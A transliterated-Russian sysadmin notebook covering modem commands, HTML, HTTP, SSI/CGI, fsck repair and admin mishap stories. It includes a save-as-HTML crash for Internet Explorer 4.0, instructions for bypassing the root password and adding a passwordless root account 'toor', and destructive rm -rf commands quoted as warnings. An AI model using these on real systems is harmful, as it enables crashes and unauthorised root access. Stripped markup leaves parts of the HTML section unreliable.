 13. "Midiks"                 Leninskij pr., 29           (095) 955 4101

 14. "Dess"                   Rogozhskij val, 15           (095) 366 9295

______________________________________________________
* - telefony, gde chto-to mogut skazat' pro nalichie knig


       LITEK  -  melkooptovaya  torgovlya  ot  "KnoRusa" 911-9863
911-9742 ul.  Nikolo-YAmskaya,  45  pod.2.  Idti  ot  m.Taganskaya
kol'cevaya,   po  Sadovomu  kol'cu  vniz  do  b.Drovyannogo  per,
zavernut' tuda i do upora v ul.  Nikolo-YAmskuyu. Perejti ulicu i
napravo   do   45  doma(tam  mehovoe  atel'e)  vhod  so  dvora.
Polupodval

Informaciyu i mozhno poluchit'
http://www.book.ru
http://www.bhv.ru


        &dDKnigi o Linux&d@

Algoritm takoj:
pojti v krupnyj knizhnyj,
vzyat' tam vse knizhki po linuksu, kakie est',
potom popytat'sya kazhduyu iz nih pochitat' 5-10 minut.
Esli ot knizhki ne toshnit - to ee vpolne mozhno brat'.
.
        &dDNeskol'ko upravlyayushchih komand Hayes-sovmestimogo modema&d@
        (Kompilyaciiya iz dokumentacii modemov ZyXEL 1496*, GVC-1440)

AT&F0           Factory setting
                Ili na ZyXEL vklyuchit' modem s nazhatoj knopkoj
                Enter ili Data/Voice

ATZ0            Zagruzit' profile 0
AT&V            Raspechatat' setup
AT&W0           Sohranit' setup v profile 0
AT&Y0           Pri vklyuchenii zagruzhat' profile 0

ATE0            Vyklyuchit' eho

atdpTELEFONNYJ NOMER       Pul'sovyj nabor nomera

+++             Vyjti   iz connect'a v komandnyj rezhim
ATO             Vernut'sya iz komandnogo rezhima v CONNECT
ATH             Polozhit' trubku

ATA             Podnyat' trubku  i otvetit' na zvonok
ATS0=2          Snimat' trubku posle 2-go zvonka

        &dDKomandy, kotorye obychno i sami po sebe ustanovleny&d@.


AT&P1           Make / break 33/67 (Europe)

ATQ0            Vozvrashchat' kod vozvrata
ATV1            Kod vozvrata tekstovyj

        &dDKomandy, kotorye vozmozhno zahochetsya ustanovit'&d@.

AT&L1           V rezhim vydelennyh linij
AT\N5           Zapretit' soedinenie BEZ szhatiya MNP5 ili V42bis
ATB6            Postavit' skorost' 2400 i nizhe
ATL0            Samyj tihij zvuk
ATM0            Speaker always off

        &dDKomandy GVC-1440&d@

B_      B1 Bell mode                (*)
        B2 Autoscan mode

D_      R originate call in answer mode
        W whait for second dialtone
        , pause
        @ wait for 5 seconds silence
        ! flash
        ; return to command mode after dialing

H       1 make busy

I [0-4] info

L       2 medium speacker

M       0 internal speacker off
        1 internal speacker on until carrier
        2
        3

O       0 return to data mode
        1 return to data mode and initiate equaliser retrain

Registry

s0 autoanswer ring          0
s1 ring counter             0
s2 Escape code character    +
s3 CR character             13
s4 LF character             10
s5 BS character             8

S6 dial tone whait time      2 sec
S7 remote carrier whait time 45 sec
s8 comma pause time           2 sec
s9 carrier dettect responce time 6  *1/10 sec
s10 carrier loss time         14   *1/10 sec
s11 touch tone dialing speed  95   ms
s12 esc character detect time 50   1/50 sec

s14 bitmap

s16 bitmap

s18 modem test timer          0
s21 bitmap
s22 bitmap
s23 bitmap

s25 DTR delay             5 sec
s26 RTS to CTS delay interval     1   *1/100 sec
s27 bitmap
s28 bitmap
.
        &dDKonfigurirovanie servera HTTPD i format yazyka HTML&d@



Vnimanie |tot tekst budet slegka bolee dostupnym
dlya ponimaniya,  esli vy posmotrite na nego v  ishodnom  vide  -
&dD"Document source"&d@


        &dDFajly v katalogah s dokumentami&d@

index.html       Esli prosyat vydat' katalog, to vydayut index
                 esli ego net, vydaetsya prosto oglavlenie kataloga
HEADER.html      Ego soderzhimoe dobavlyaetsya pered nachalom listinga
README.html      Ego soderzhimoe dobavlyaetsya k koncu listinga

.htaccess        Upravlyayushchij fajl s lokal'nymi nastrojkami tekushchej direktorii

Razobrat'sya stoit s  etimi  harakteristikami:
 Alias  - gde to dolzhna lezhat' rasshifrovka. a server budet
                       ee podstavlyat'.
Vot tol'ko gde ?


        &dDSpecsimvoly:&d@

Nuzhno zadavat' tak:

           &  -  &
           "  -  "
           >  -  >
           <  -  <
          >>  -  >>
          <<  -  <<
         (C)  -  ©   ili ©
         (R)  -  ®
              -  —
              -  –
          <=  -  <=
          >=  -  >=
 Extra space  -   

        &dDZagolovki&d@

         Zagolovok vsego dokumenta 

        

Zagolovok 2-go urovnya

Ssylka na podrazdel v dokumente Ssylka otkryvaemaya v drugom okne Tak eto mesto dolzhno byt' pomecheno v Dokumente &dDNenumerovannyj spisok (Unnumbered list)&d@
  • Odna poziciya
  • Drugaya poziciya
&dDPronumerovannyj spisok (Numbered list)&d@
  1. Pervaya poziciya
  2. Vtoraya poziciya
&dDEst' tak zhe i bolee "melkie" spiski:&d@
  • 1
  • 2
  • ,
  • 1
  • 2
  • &dDSpiski s podzagolovkami (Definition list)&d@
    Nazvanie punkta
    Tekst, raspisyvayushchij soderzhimoe punkta
    Nazvanie punkta
    Tekst, raspisyvayushchij soderzhimoe drugogo punkta
            Preformatirovannyj     fragment teksta
    
            Preformatirovannyj     fragment teksta v shirinu 80
    
    
    
    Ustanavlivaet obshchij otstup vpravo. Vynesennyj vpravo fragment teksta
    Gorizontal'naya cherta
    Okonchanie paragrafa

    ZHestkij konec stroki
    Tekst mezhdu etimi tagami ne budet perenosit'sya na novuyu storku kakim by dlinnym on ne byl &dDFizicheskie stili&d@ Bold zhirnyj tekst Itallic kursiv tekst Underline podcherknutyj Rabotaet tol'ko v Netscape 3 Typewriter tekst s fontom fiksirovannoj shiriny Blink migayushchij tekst Strike perecherknutyj tekst &dDLogicheskie stili&d@ Definition. Opredelyaemoe slovo italic Emphasis. Udarenie italic Titles of books. Citata italic Programm. Programmnyj tekst fixed User keyboard entry. bold fixed Status message fixed Variable. italic Strong emphasis. bold

    Vydelyaetsya adres italic
    &dDUpravlenie cvetami i fontami&d@ _BODY_ tagi srabatyvayut tol'ko esli raspolozheny v samom nachale dokumenta A tak ustanavlivayut sobstvennye cveta vo vsem dokumente A tak delali traurnye kolera, kogda protestovali. Tekst bOl'shego razmera, i pokrashennyj v krasnyj cvet, s zadannym tipom fonta Dal'she pojdet tekst s fontom zadannogo razmera a tak zhe background zvuk &dDTak vyglyadit obychnaya ssylka.&d@ Low impact

    &dDTak vstavlyayut kartinku&d@ Esli nuzhen tekst sboku ot kartinki Otstup teksta ot kartinki Vverh ALT - chto napisat', esli kartinka ne chitaetsya, LOWRES - pered risovaniem bol'shoj kartinki zagruzit' etu - malen'kuyu Tak podkladyvayut BACKGROUND &dDTablichki -&d@
    tr - zadaet stroku StolbecStolbec
    Vnutri tablicy mozhet byt' takoj tag, Podzagolovok?
    Tablichka fiksirovannoj shiriny,ne zavisyashchaya ot razmerov vnutrennego teksta


    Back to my home page
    moshkow@ipsun.ras.ru
    
            &dDVstroennaya imagemap&d@
    
    
    
    
    
    
    
    
    
    
    
    
    
    
            &dDO protokole HTTP/1.*&d@
    
    Klient  otkryvaet  tcp soedinenie s hostom www.host.com na port
    (obychno 80) i govorit tuda
    
    GET /local/url/file/name.html HTTP/1.0
    Host: www.host.com
    Http_referer: url_dokumenta_na_kotorom_stoyal_klient
    Eshche nekotoroe kolichestvo zagolovkov,
    kotorye rasskazyvayut serveru, kto s nim imeet delo.
    Vse oni, krome GET neobyazatel'ny
    . . .
    ^M^J       - pustaya stroka - konec zagolovkov - konec zaprosa
    
    Obratno vyvalivaetsya otvet servera:
    
    http-shnye zagolovki
    na neskol'kih strokah
    ^M^J        - pustaya stroka
    Sobstvenno zaproshennyj dokument as is
    
    &dDUprazhnenie:&d@ skazhite
    
    $ telnet www 80
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    GET /index.html HTTP/1.0
    
    I potom dva raza nazhmite na Enter
    
    
            &dDKak rabotet dokachka v HTTP/1.1 protokole?&d@
    
         V zapros vstavlyaetsya special'noe pole "Range: bytes nnn-".
    Server s dokachkoj vozvrashchaet kod 206 -  "CHast'  soderzhimogo"  i
    peredaet  zaproshennuyu  chast' fajla. Esli server ne podderzhivaet
    dokachki, on prosto vozvrashchaet 200 i vysylaet ves' fajl kak  pri
    obychnom zaprose.
    
            &dDSSI - Server Side Includes&d@
    
    Polnaya specifikaciya lezhit, naprimer na www.apache.org
    
    0. CHtoby SSI-fajly vzvodili Last-modified, dobavit' v konfig
    XBitHack full
    i sdelat' im chmod g+x file.shtml
    
    1. CHtoby  SSI  vypolnyalis',  neobhodimo  zadat' v konfiguracionnyh
    fajlah servera:
    
    /etc/httpd/conf/access.conf :------------------------
      # "Vklyuchit'"
    Options +Includes      # ili dazhe Options All
    /etc/httpd/conf/srm.conf :------------------------
    
    AddType text/html .shtml
    AddHandler server-parsed .shtml
    
    2. Togda SSI otrabatyvayutsya tol'ko v fajlah s rasshireniem .shtml
    
    Primery:
    
    charset=
    
    
    
    
    
    
    The  value  will  often be enclosed in double quotes; many comn
    mands only allow a single attribute-value pair.
    
    The allowed ELEMENTS are:
    
    config  - parametry parsinga
        Atributy config
         errmsg  - soobshchenie ob oshibke, posylaemoe klientu
         sizefmt - format razmera fajla
         timefmt - format daty modifikacii fajla
         var     - napechatat' imya peremennoj
    
    exec    - vypolnit' shell ili CGI-skript
         cgi     - (%-encoded) URL relative path to the CGI script.
         cmd     - vypolnit' shell
    
    fsize   - napechatat' razmer fajla
         file    - otnositel'noe imya fajla
         virtual -(%-encoded) URL-path relative fajla
    
    flastmod - poslednnee vremya modifikacii fajla
    
    include  - vstavit' dokument
         file    - vstavlyaemyj fajl
         virtual - URL - tol'ko na etom zhe hoste
    
    Include variables
    
    These  are  available  for the echo command, and to any program
    invoked by the document.
    
    DATE_GMT
         The current date in Greenwich Mean Time.
    DATE_LOCAL
         The current date in the local time zone.
    DOCUMENT_NAME
         The filename (excluding directories) of the document requested
         by the user.
    DOCUMENT_URI
         The (%-decoded) URL path of the document requested by the user.
         Note that in the case of nested
         include files, this is not then URL for the current document.
    LAST_MODIFIED
         The last modification date of the document requested by the user.
    
    
    If server side includes are enabled, you will see data values below:
    
    The date is:                      
    The current version of the server 
    The CGI gateway version           
    The server name                   
    This file is called: This file's URI The query string This file was last modified: The size of the unprocessed file sample.html was last modified You are using You came from # |mulyaciya SSI v perl-cgi if (//) { print $`;$tmp = $'; open (INC,"$inc") || die "Can't Open $inc: $!\n"; while () { if (//) { @time = localtime ( time() ); $time[4]++; if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; } s//$time[3].$time[4].$time[5]/g; } print $_; } close(INC); print "$tmp"; } &dDUpravlenie dostupom cherez httpd.conf&d@ SetEnvIfNoCase Referer rusf\.ru internal_referer SetEnvIfNoCase User-Agent Teleport internal_referer SetEnvIfNoCase User-Agent Vampire internal_referer SetEnvIfNoCase User-Agent ReGet internal_referer SetEnvIfNoCase User-Agent GetRight internal_referer SetEnvIfNoCase User-Agent Wget internal_referer ErrorDocument 403 http://rusf.ru/books/index.htm order deny,allow deny from all allow from env=internal_referer # No offline browsers v robots.txt User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline Explorer, Web-By-Mail Disallow: / &dDCGI - specifikaciya interfejsa mezhdu serverom httpd&d@ i vneshnimi, vyzyvaemymi programmami - gateeway'yami. Sam CGI-script dolzhen lezhat' v /home/httpd/cgi-bin togda ego nahodyat (ili v drugih katalogah, opisannyh v acces.conf Dannye peredayutsya v komandnoj stroke, cherez peremennye okruzheniya, i cherez standartnyj vvod. Vozvrashchayutsya na standartnyj vyvod, v nachale dolzhna stoyat' "volshebnaya stroka" Esli dobavit' v konnfiguracionnyj fajl /etc/httpd/conf/srm.conf :------------------------ AddType application/x-httpd-cgi .cgi To CGI-skripty mozhno budet klas' v lyuboj podkatalog dereva dokumentov - s rasshireniem .cgi &dDFormy i indeksy&d@ Vojti v fajl, i spozicionirovat'sya na stroku s shablonom "cl" http://hoohoo.ncsa.uiuc.edu/file.html#cl Request for a CGI script with no extra path information and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi Request for a script with extra path information, and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path Request for a script with no extra path information, and an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query Request for a script with extra path information as well as an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query Vyzyvaetsya odna i ta zhe programma, no ej peredaetsya 0,1,1 ili 2 argumenta: extra path - "dobavochnyj marshrut", idushchij vsled za imenem ekzeshnika query - dlinnaya stroka posle znaka "?" na extra path rabotaet image map - im peredaetsya imya opisatelya kartinki query peredaetsya zapolnennym ISINDEX &dDCGI-skriptu peredayutsya takie parametry:&d@ Parametry peredayutsya v peremennyh okruzheniya. REMOTE_ADDR=127.0.0.1 REMOTE_HOST=localhost HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt REQUEST_METHOD=GET QUERY_STRING=query PATH_INFO=/marshrut PATH_TRANSLATED=/home/httpd/docs/marshrut SCRIPT_NAME=/cgi-bin/proba HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified A teper' vot kak oformlyayutsya formy s checkbox'ami:
    Press me.

    Press me.

    # ISINDEX - parametr zaprosa peredaetsya prgogramme CGI v $1 # V forme METHOD=GET - tam vyzyvaetsya komanda kotoroj peredaetsya # argument v peremennoj okruzheniya QUERY_STRING # http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off # A vot kak rabotaet POST, i PUT. Dopolnitel'naya informaciya protalkivaetsya klientom na server. Server podaet ee cgi-programme na standartnyj vvod. dlina posylaemogo fajla ustanavlivaetsya v peremennoj okruzheniya CONTENT_LENGTH a tip dannyh - v CONTENT_TYPE FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
    ^^^^^ pole polezno chtob hranit' informaciyu o "seanse" Press me.

    &dDCHto my posylaem klientu obratno:&d@ Status: 200 OK Status: 404 File not found Content-type: text/html Soderzhimoe, kotoroe kidaetsya skvoz' nashego servera - klientu Esli ya generyu ne soderzhimoe, a tol'ko ssylku, to: Location: /path/doc.txt ili Location: gopher://gopher.ncsa.uiuc.edu/ Generim tekst v chistom servernom vide - on poedet klientu srazu, bez dopolnitel'noj fil'tracii: --- start of output --- HTTP/1.0 200 OK Date: Tuesday, 26-Dec-95 15:17:10 GMT Server: NCSA/1.3 MIME-version: 1.0 Content-type: text/html Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT Content-length: 3132 This is a plaintext document generated on the fly just for you. --- end of output --- Podstavlyajte tuda sootvetstvuyushchie znacheniya peremennyh $SERVER_PROTOCOL $SERVER_SOFTWARE &dDFenechki&d@ Avtopodstanovka URL s timeout'om. Podstavit' v nachalo dokumenta: Dal'she idet mestnyj HTML-dokument - kotoryj cherez 12 sekund budet avtomaticheski zamenen na vysheukazannyj URL Voobshche - tag META HTTP-EQUIV pozvolyaet vzvesti dopolnitel'nye polya v HTTP-zagolovok dokumenta. Naprimer "nasil'stvennoe vzvedenie charset'a:
    I'm entering for the first time from (city, state/country)

    Content-type: text/html Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram |ta shtuchka budet avtomatom otsylat'sya v nash server klientom, kak tol'ko on ee poluchil Podrobnee sm. http://citforum.ru/win/internet/html/c_what_is.shtml Esli skazat' tak, to klient ostanetsya na starom meste, i ne budet perehodit' po ssylke Status: 204 No Content A takoj link pozvolyaet srazu zapolnit' nekotorye polya v mailto poslanii tets Samoklikaemoe pis'mo > Byla ideya posylat' v nego soobshchenie kogda myshkoj nad bannerom provodyat. > (Kogda banner interesen, chasto k nemu kursor podvodyat) > No chto-to ya ne dopgr kak eto realizovat' bez hidden frame. V pravilah ustanavlivaesh', chto u tebya _standartnyj kod_ tvoej setki soderzhit: Kogda klient budet snizu _peresekat'_ mysh'yu tvoyu odnopiksel'nuyu polosku budet avtoklik, a chtob klienta ne napryagat' - puskaj tvoj http://koshelev.ru/cgi-bin/bannerOver vozvrashchaet kod 204 No Content - t.e. _ne perehodit'_ na link a ostat'sya na staroj stranice. &dDSsylka na kotoruyu perehodyat avtomaticheski&d@ Dostatochno navesti na etu ssylku mysh', i brouzer pojdet po linku - bez klika. &dDProstye eksplojty&d@ MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag. <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________> opens a dialog box and closes IE 4.0. the long file extension causes stack overrun. --------cut here and save as crashmsie.html--------------------- Trying to crash IE 4.0 <EMBED SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789> 40 80 160 170 180 190 200 </HTML> --------------------------------------------------------------- &dDZakrytie katalogov dlya vneshnih klientov&d@ Sozdaem v kataloge fajl .htaccess takogo soderzhaniya order deny,allow deny from all allow from polimos.ras.ru localhost AuthType Basic AuthName lenta.ru AuthUserFile /home/www/passwd # moshkow:1HrhNpfYnwTau standartnyj crypt() require valid-user &dDSm. tak zhe&d@ Konstantin Okrainec. Uchebnik po HTML iz Dubny Frejmy i prochie dopolneniya, voznikshie v HTML 2.0 i HTML 3 . &dDRemont razrushennyh fajlovyh sistem&d@ Prakticheski edinstvennoe sredstvo lecheniya razrushenij fajlovoj sistemy vo vseh Unix - utilita &dDfsck&d@. Esli ne lechit ona, to delo vashe pochti beznadezhno. YA by posovetoval v morg, no entuziasty mogut eshche nemnogo podergat'sya. &dD * LINUX * &d@ Primechanie: komandy privedennye v primerah sleduet vypolnyat' tol'ko vnimatel'no vzvesiv vozmozhnye posledstviya. Poetomu v primerah real'nye imena specfajlov razdelov zhestkogo diska zameneny na &dD/dev/hd-name&d@ (v real'noj zhizni primenyaetsya /dev/hda2, /dev/hdb3 /dev/sda1...) Tonkaya rihtovka fs &dDtune2fs&d@ pozvolyaet pomenyat' nastraivaemye parametry fajlovoj sistemy -c max-mount-counts -m reserved-blocks-percentage i t.p. tune2fs -m 1 /dev/hd-name # najdet vam eshche 50Mb svobodnogo mesta, # i pozvolit uchinit' na ostavshemsya klochke # svobodnogo mesta katastroficheskuyu fragmentaciyu Standartnoe lechenie fajlovoj sistemy: fsck -y -c -f /dev/hd-name Forsirovannoe lechenie s proverkoj i "zameshcheniem" bad-blokov fsck -y -c -f /dev/hd-name # -y neinteraktivnoe lechenie "yes" na vse voprosy # -c najti bad-bloki readonly testom i perenesti v inod bad-blokov # -f forsirovat' proverku (ignorirovat' flag "fs is clean" Esli pogib osnovnoj superblok, dobavit' klyuch -b 8193 ili -b 16385 ... ukazav zapasnuyu kopiyu. Nomera zapasnyh sb soobshchaet pri razmetke razdela utilita newfs. (Vy konechno zhe sohranili ee listing?) Raspechatat' razmeshchenie sluzhebnyh struktur fs i parametry suberbloka mogut komandy &dDtune2fs -l&d@ i &dDdumpe2fs&d@ tune2fs /dev/hd-name dumpe2fs /dev/hd-name Esli pogibli _vse_ kopii superbloka - poslednij shans &dDmke2fs -S&d@ propisat' _tol'ko_ struktury superblokov i opisateli grupp, ne trogaya samih dannyh mke2fs -S /dev/hd-name # Write superblock and group descriptors only fsck -y /dev/hd-name # srazu vsed za etim zapustit' fsck I dazhe eto eshche ne konec. Dlya sil'nyh duhom ostaetsya otladchik fajlovoj sistemy &dDdebugfs&d@ man debugfs &dDPovedenie v avarinoj situacii&d@ Estestvenno, celee budete, esli zagruzites' v single-user mode Dlya etogo perehvatit' pri zagruzke LILO-prompt (Left-alt) I v komandu zagruzki dobavit' parametr single Lilo: &dDlinux single&d@ V linux'ovskij single-user mozhno popast' tol'ko znaya parol' root. Ne znaya parolya, nado gruzit'sya tak: Lilo: linux init=/bin/sh ili dazhe tak (esli podgotovlena rescue-disketa s fajlovoj sistemoj unix) Lilo: linux init=/bin/sh root=/dev/fd0H1440 Peremontirovat' kornevoj razdel iz readonly v write mount -t ext2 -n -o remount,rw /dev/hd-root / Smontirovat' razrushennuyu fs, ispol'zuaya al'ternativnyj superblok mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname Pdrobnosti (vy budete smeyat'sya): man mount . &dDMaksim Moshkov. Istorii iz zhizni administratora Unix, ili Grabli&d@ &dDIstoriya 1 so schastlivym koncom. Isporchennyj /etc/passwd&d@ &dD > Odin tovarishch (ne ya :), eto iz Komi) reshil svoemu root'y vmesto polozhennogo > /sbin/sh sdelat' /bin/ksh > Dlya chego otredaktiroval /etc/passwd, no neudachno, oshibsya i naznachil > /sbin/ksh. > Probovali: > $ su root -c /sbin/sh > Ne pomoglo. Teper' on gor'ko plachet i hakera zovet. > Mozhesh' pomoch', ili surovoe: pereustanovi yunih? &d@ |to my prohodili. Klassika. Pervo- napervo "nikogda, NIKOGDA ne menyaj shell u superyuzera..." :-) 0. Zapustit' shell iz-pod root'a vse-taki mozhno: su root -m -s /bin/sh No esli eshche i parol' zabyt, togda - pomozhet zagruzka v single user mode ili zagruzka s CD/floppy/tape 1. Dat' komandu df, posmotret' minor/mazhor u devajsa, na kotoryj montiruetsya koren', i zatem pochitat' manual po komande mknod # mkdev, mknode, mksf - sozdat' special'nyj fajl # ili kak tam eshche ona nazyvaetsya i zapisat' na bumazhke komandu, kotoroj sozdaetsya spec-fajl /dev/root (ili kuda tam montiruetsya "/" 2. Zagruzit'sya s installyacionnogo strimmera/diskety/CD. i tam gde uhod na install/update/system maintance pojti na "system maintence" (eto vsego navsego shell root'ovyj) Ostalos' smontirovat' /dev/root na /mnt i redaktirovat' /mnt/etc/passwd &dDZasada No 1&d@ Srazu posle zagruzki mini-sistemy special'nyh fajlov sootvetstvuyushchih zhestkomu disku net (!). Sdelat' ego ruchkami - komanda mknode uzhe zapisana na bumazhke. &dDZasada No 2&d@ Redaktor vi ne zapuskaetsya (Net terminfo) Nu i chert s nim. Pridumaesh' chto nibud'. Naprimer echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd ^^^^^^ obrati vnimanie chto >> a ne > (Ugadaj pochemu :-) a mozhno i tak: PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH TERMINFO=/mnt/usr/lib/terminfo # ili gde on tam Koroche - ty doma potrenirujsya, a potom v Komi napishi tochnye imena fajlov i komand, a to boyus' neobuchennyj admin smozhet promahnut'sya paru raz, a zdes' promahivat'sya nel'zya. Prilozhenie: Obhod root passwd v Motorola Unix SVR4/88. 1. Posmotret' major/minor dlya / i /usr 104 0 /dev/root 104 3 /dev/dsk/m197_c0d0s3 2. Zagruzka s lenty, uhod na maintance . 3. Podmontirovat' razdely diska, sootvetstvuyushchie / i /usr, s vosstanovleniem fajlovoj sistemy (t.k. sistema byla vyklyuchena nekorrektno pri otsutstvii root parolya). mkdir /mnt mknod /dev/rootn b 104 0 /etc/fs/ufs/fsck /dev/rootn mount -F ufs /dev/rootn /mnt analogichno dlya /usr mknod /dev/usr3 b 104 3 /etc/fs/ufs/fsck /dev/usr3 mount -F ufs /dev/usr3 /mnt/usr 4. Otredaktirovat' /etc/passwd, sdelat' besparol'nogo root echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd 5. Cmenit' koren' root'u (budet v /mnt) chroot /mnt /sbin/sh 6. Obnovit' shadow pwconv Vse. &dDIstoriya 2 pochti o tom zhe. Isporchennyj /etc/fstab&d@ Date: 20 Apr 1997 From: Bernshtam Pavel (barnshte@CS.bgu.ac.il) U menya tozhe bylo - zaportil ya /etc/fstab i sdelal reboot ne zametiv oshibki - babah - podnimaetsya (a eto byl Axil s SunOS 4.1) v single user. ya delayu ls - Command not found - ponyatno - ne zamountil /usr posmotrel ya na drugom SUN'e chto est' v /sbin - nashel mount, obradovalsya - sdelal /sbin/mount /usr. Est' VI! Pomuchalsya poka ustanovil nuzhnyj set TERM s polchasa - zapustil VI. otkryvayu fstab - fignya so strokami (vot ono - ne rabotajte v PICO, uchite VI !!!), ispravil, save'lyu - a root partition to READ ONLY !!! Delayu stop-A. Slava bogu, posovetovali mne, chto v boot-monitore mozhno sdelat' b -rw (zamauntit' s write), posle etogo ya povtoril vsyu proceduru s mount i VI i ispravil /etc/fstab. a... eshche zabyl - VI ne zapuskalsya poka ya /var ne zamauntil, t.k /tmp - link na /var/tmp , a VI bez /tmp ne idet. /* a na Linux special'naya komanda est' - peremontirovat'sya na read-write - ee iz single-user-mode mozhno vypolnit' mount -n -o remount / */ &dDKomanda rm -rf v SCO&d@ Vvidu togo, chto pod shablon ".*" podhodit katalog ".." NIKOGDA NE DELAJTE KOMANDY rm -r .* (Bol'shinstvo unix'ov proshchayut podobnuyu oshibku, no NE VSE) &dD From: Pavel Severov "... reshil ya na nashem SCO-shnom servere s Oraclovskoj bazoj raschistit' nemnogo svobodnogo mesta na diske..." # cd /usr/tmp # rm -rf * glyazhu, a tam vsyakij hlam ostalsya /usr/tmp/.X11-0 nu i t.p. A ya togda # rm -rf .* # OJ! # du ldd: Can not open file # df ldd: Can not open file # ls -al ldd: Can not open file &d@ . . . U etoj istorii grustnyj konec. Vy uzhe dogadalis', chto /usr/tmp/.* soderzhit v sebe /usr/tmp/.. Posle reboot'a mashina, ne najdya kataloga /usr uzhe ne ozhila. &dDUdalennyj dostup ili "Zapasnoj klyuch ot sejfa lezhit v sejfe"&d@ Horoshaya shtuka, Unix + TCP/IP - mozhno otkonfigurit' mashinu u cherta na kulichkah ne vstavaya s rabochego mesta i dazhe ne vyhodya iz doma. &dDIstoriya 1.&d@ Vot i ya odnazhdy menyal to li IP-adres, to li routing na udalennoj mashine... Koroche - promahnulsya, skazal ifconfig eth0 down Vot sobstvenno i vse. Skazat' ifconfig eth0 NEW-IP bylo uzhe nekomu. Vy konechno dogadalis', chto _NADO BYLO_ odnoj strokoj pisat' ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ... &dDIstoriya 2.&d@ Zahotelos' povysit' uroven' security. Pishem v /etc/hosts.deny ALL:ALL v /etc/hosts.allow ALL:193.263.12.13 ^^^ vrode by malen'kaya oshibochka, cifry perestavit', a nel'zya - ya uzhe uspel otloginit'sya. &dDUdalennyj "dostup" ili "Klyucha voobshche net"&d@ Povis u nas odnazhdy server, nado reset nazhat', peregruzit', a komnata zaperta, i klyuchi uzhe unesli. I telnet'om ne vojdesh' - nekuda. Vyrubili svet na vsem etazhe, vklyuchili vnov' - voila! &dDNovaya /lib/libc.so - apgrejd LIB C&d@ Linux. 1993 god. Potrebovalos' podmenit' LibC. Nu, vpered, delov-to - staruyu peredvinut', novuyu - na ee mesto. cd lib mv libc.so libc.so-old mv libc.so-new libc.so ldd: Can not execute, shared library not found Finish. Prishlos' gruzit'sya s diskety, montirovat' hd. No, kak eto ni smeshno, v sleduyushchij raz te zhe komandy, zapisannye v odnu stroku, srabotali. Ili bibliotechka v keshe okazalas'... Temna voda v Linuxe. Vprochem, fajly iz kataloga /sbin - obychno staticaly-linked - im dlya raboty razdelyaemaya libc bez nadobnosti. &dDIstoriya 1. Trusted mode - bezopasnost' prevyshe vsego&d@ V HP-UX novichki administratory ochen' lyubyat sam'om poigrat' - GUI, myshinyj interfejs - administriruj na zdorov'e. Vot tol'ko chitat' soobshcheniya nado - a oni po-anglijski vse. Ochen' legko, odnim "Ok" v SAM vklyuchaetsya perevod sistemy v trusted rezhim. Vklyuchayut, i ne zamechayut. A zamechayut cherez paru dnej, kogda s treh raz ne ugadayut parol' root. V trusted rezhime login posle etogo blokiruetsya sovsem, a drugogo yuzera PERED |TIM zavesti - ne dogadyvayutsya. Kak vsegda - nas spaset single user mode: perehvat zagruzki v prompt IPL i zatem IPL> hpux -is A zatem zapusk sam. I perekonvertirovat' sistemu v "untrusted" # mount -a # sam No esli vy uhitrilis' eshche i parol' na boot vklyuchit' - to pomogajte sebe sami. &dDIstoriya 2. Security class C2: o tom zhe, no v SCO&d@ Security class C2 - eto povyshennaya bezopasnost'. I povyshennyj gemorroj dlya pol'zovatelej. I dlya administratora - tozhe. Privelos' nam pozvonit' na zashchishchennuyu SCO mashinu iz Moskvy v Piter, po modemu. Skorosti getty s pervogo raza podobrat' ne smogli, na login proryvalsya 6-bitnyj musor, posle tret'ej popytki vmesto getty Login my uvideli "Intruder attempts, tty line /dev/modem disabled". CHerez paru nedel' hozyain mashiny vernulsya v Piter i vernul getty. &dDScreen-sejver i knopka Enter&d@ Kogda screen-saver gasit ekran, chto vy nazhimaete? Ne znayu, kak ostal'nye, a ya zhmu klavishu CTRL. Odin moj znakomyj reshil pochistit' katalog /tmp. Iz-pod root'a. nabiraet on rm -rf /tmp/*, tochnee hochet nabrat', poskol'ku v moment rm -rf /_ zvonit telefon i ego kuda-to vyzyvayut. CHerez chas on vernulsya, uvidel pogashennyj ekran, i nazhal _svoyu_ lyubimuyu klavishu. Ugadajte, kakuyu? .

    Last-modified: Mon, 10 Sep 2001 12:43:31 GMT